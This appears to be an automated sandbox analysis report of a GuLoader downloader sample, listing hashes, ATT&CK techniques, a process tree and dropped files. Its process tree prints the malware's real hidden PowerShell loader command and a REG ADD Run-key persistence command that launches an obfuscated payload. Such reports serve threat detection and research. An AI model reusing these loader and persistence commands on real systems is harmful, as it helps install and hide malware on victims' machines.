guloader | fa53f8c7ca9bfb109801818f0d680200e100938417952e963cf0f5b880cdcb52

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01/05/2024, 01:49

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General

Target
45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6.exe
Size 372KB
Sample240501-b8vjjsdc2w
SHA256 45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6
MD5 da2f362c315e776de40b0805c5d3571b
SHA1 bc6e0d5ed9e74470bdfe2d854c3a798c2e45b074
SHA512 e53917235541dcbc9064c913cef731e101dd15593c7276febb122a3549214c30180485394e0e1867d58e41326c7fc3efd04543a85e55443c44e12838b08d006c
SSDEEP 6144:HT4DtVpZI3UkwlUEkFvjV5Uioj7RODGIe2gngkOt/NONJp98AGECTcz8mFsgeJ:HTghmEkFx5Uf4wOt/NA8JE2bJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Windows\CurrentVersion\Run\Startup key = "%Rejig% -windowstyle minimized $decimerings=(Get-ItemProperty -Path 'HKCU:\\Vicedirektrers\\').Swounds;%Rejig% ($decimerings)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

pid	Process
2628	wab.exe
2628	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2956	powershell.exe
2628	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2956 set thread context of 2628	2956	powershell.exe	32

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
2452	reg.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe
2956	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2956	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2956	powershell.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 1692 wrote to memory of 2956	1692	45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6.exe	28
PID 1692 wrote to memory of 2956	1692	45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6.exe	28
PID 1692 wrote to memory of 2956	1692	45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6.exe	28
PID 1692 wrote to memory of 2956	1692	45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6.exe	28
PID 2956 wrote to memory of 2616	2956	powershell.exe	30
PID 2956 wrote to memory of 2616	2956	powershell.exe	30
PID 2956 wrote to memory of 2616	2956	powershell.exe	30
PID 2956 wrote to memory of 2616	2956	powershell.exe	30
PID 2956 wrote to memory of 2628	2956	powershell.exe	32
PID 2956 wrote to memory of 2628	2956	powershell.exe	32
PID 2956 wrote to memory of 2628	2956	powershell.exe	32
PID 2956 wrote to memory of 2628	2956	powershell.exe	32
PID 2956 wrote to memory of 2628	2956	powershell.exe	32
PID 2956 wrote to memory of 2628	2956	powershell.exe	32
PID 2628 wrote to memory of 2384	2628	wab.exe	33
PID 2628 wrote to memory of 2384	2628	wab.exe	33
PID 2628 wrote to memory of 2384	2628	wab.exe	33
PID 2628 wrote to memory of 2384	2628	wab.exe	33
PID 2384 wrote to memory of 2452	2384	cmd.exe	35
PID 2384 wrote to memory of 2452	2384	cmd.exe	35
PID 2384 wrote to memory of 2452	2384	cmd.exe	35
PID 2384 wrote to memory of 2452	2384	cmd.exe	35

C:\Users\Admin\AppData\Local\Temp\45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6.exe
"C:\Users\Admin\AppData\Local\Temp\45cc8cde27d45cadec7dfec83f44215b807531439a0b2530f965fa5d4acda1b6.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1692
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Ethyls=Get-Content 'C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Filmrullerne\Tendance\Unredacted.Sai';$Acronyctous5=$Ethyls.SubString(57591,3);.$Acronyctous5($Ethyls)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" "/c set /A 1^^0"
    3⤵
    PID:2616
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of WriteProcessMemory
    PID:2628
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Rejig% -windowstyle minimized $decimerings=(Get-ItemProperty -Path 'HKCU:\Vicedirektrers\').Swounds;%Rejig% ($decimerings)"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2384
    - - C:\Windows\SysWOW64\reg.exe
        
        REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Rejig% -windowstyle minimized $decimerings=(Get-ItemProperty -Path 'HKCU:\Vicedirektrers\').Swounds;%Rejig% ($decimerings)"
        5⤵
        Adds Run key to start application
        Modifies registry key
        
        PID:2452

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Size 68KB
SHA256 1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184
MD5 29f65ba8e88c063813cc50a4ea544e93
SHA1 05a7040d5c127e68c25d81cc51271ffb8bef3568
SHA512 e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa
SSDEEP 1536:iMveRG6BWC7T2g1wGUa5QUoaIB9ttiFJG+AOQOXl0Usvwr:feRG6BX6gUaHo9tkBHiUewr
MD5 SHA1 SHA512 SSDEEP

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94308059B57B3142E455B38A6EB92015

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Size 304B
SHA256 0a8727d257b4dceaaa5439416b022a4b981d5dbd7022430727623b83e27280c9
MD5 ee125f61adc875fea907614ba80b1dc9
SHA1 ba847e2bf71a2579752cf4890b23097f6325fcd8
SHA512 d4d6bc28c440f095447783cb522dfc05c3bf3e0f409ffcf882fcd2c5a3466030b293447ef8774b290a12f105128e6c65c6cfe650cc3110d804f0033dbfef4a9d
MD5 SHA1 SHA512

Submit Download

Cab70EE.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab70EE.tmp
Size 65KB
SHA256 c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
MD5 ac05d27423a85adc1622c714f2cb6184
SHA1 b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA512 6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
SSDEEP 1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar71EE.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar71EE.tmp
Size 177KB
SHA256 67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34
MD5 435a9ac180383f9fa094131b173a2f7b
SHA1 76944ea657a9db94f9a4bef38f88c46ed4166983
SHA512 1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a
SSDEEP 1536:fAo/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mJ:f/J+qTR0XCy/dmASru2Aijbdq
MD5 SHA1 SHA512 SSDEEP

Submit Download

Antenneforeningernes.Sja

Path C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Filmrullerne\Tendance\Antenneforeningernes.Sja
Size 300KB
SHA256 ee07c67d851fbf76ab2fc7a89621bba66555e5e1e373183fdada670caaa02483
MD5 c75a3285e12c84cafceae8ce90f15224
SHA1 026844beef97e3960a210c91883cf01cf341067d
SHA512 cbcc83980825fec7f40aa31eb398699702aa2f8cfe95c6b49a83b07aacb7cbbe61f77358731cf0c772afa6883384d13d9d068774378d79fa86e09df835796dd3
SSDEEP 6144:22j0q9zHgRN6enP0rm6S6cNO6xg6kBdmvPGr4e3IpShYORoyHC:fn9zAXtxg6k6H64e3+SxoB
MD5 SHA1 SHA512 SSDEEP

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Unredacted.Sai

Path C:\Users\Admin\AppData\Local\tjurhane\fasciolidae\stinksvampen\Filmrullerne\Tendance\Unredacted.Sai
Size 56KB
SHA256 28c901a827e59109f467be705332d753c0fabb390ced9c2a69c48110c69d18a5
MD5 b1d727d282df9997c8bbd3d296352191
SHA1 143e2878ec786de7b8ac80958ac8509c9c26746e
SHA512 0d9e30f588ac8c7f3b02a8e2a32ef8159255f89baf88bc05d4db89c3986492d0ba00e07e3da09a5bb64e58971c40260bb3c09712dfcb03e1c69a9554ecf4a80c
SSDEEP 1536:TrVbCEwTZDc1LBlJ5PYy6CZk9F9RDdRslZLhjqHjVRR:kEwTtULBrB5k7vjYLh0VRR
MD5 SHA1 SHA512 SSDEEP

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memory/2628-98-0x0000000001D00000-0x00000000041BA000-memory.dmp

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memory/2956-7-0x00000000028C0000-0x0000000002900000-memory.dmp

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memory/2956-13-0x00000000066C0000-0x0000000008B7A000-memory.dmp

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memory/2956-6-0x0000000073A10000-0x0000000073FBB000-memory.dmp

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memory/2956-8-0x0000000073A10000-0x0000000073FBB000-memory.dmp

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memory/2956-97-0x0000000073A10000-0x0000000073FBB000-memory.dmp

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memory/2956-9-0x00000000028C0000-0x0000000002900000-memory.dmp

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memory/2956-99-0x00000000028C0000-0x0000000002900000-memory.dmp

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